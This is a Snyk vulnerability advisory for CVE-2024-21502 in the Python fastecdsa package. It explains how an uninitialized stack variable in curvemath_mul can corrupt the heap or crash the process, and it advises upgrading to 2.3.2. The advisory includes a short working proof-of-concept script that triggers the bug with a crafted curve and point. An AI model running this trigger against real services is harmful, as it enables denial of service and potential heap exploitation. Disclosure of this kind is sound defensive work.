Use of Uninitialized Variable Affecting fastecdsa package, versions [,2.3.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-FASTECDSA-6262045
  • published23 Feb 2024
  • disclosed20 Feb 2024
  • creditVladimir Cherepanov

Introduced: 20 Feb 2024

CVE-2024-21502  (opens in a new tab)
CWE-457  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade fastecdsa to version 2.3.2 or higher.

Overview

fastecdsa is a python package for doing fast elliptic curve cryptography, specifically digital signatures.

Affected versions of this package are vulnerable to Use of Uninitialized Variable on the stack, via the curvemath_mul function in src/curveMath.c, due to being used and interpreted as user-defined type. Depending on the variable's actual value it could be arbitrary free(), arbitrary realloc(), null pointer dereference and other. Since the stack can be controlled by the attacker, the vulnerability could be used to corrupt allocator structure, leading to possible heap exploitation. The attacker could cause denial of service by exploiting this vulnerability.

PoC

#!/usr/bin/env python3

import sys
print(sys.version)

from fastecdsa.curve import Curve
from fastecdsa.point import Point

import time
time.sleep(2) # time to attach in gdb

MyCurve = Curve(
    p  = 0x10001,
    a  = 0x3,
    b  = 0x0,
    q  = 0x10202,
    gx = 0x427e,
    gy = 0x4ccb,
    name = 'MyCurve',
)

P = Point(x = 0, y = 0, curve = MyCurve)
print(P)

Q = 123 * P # trigger is here
print(Q)

CVSS Scores

version 3.1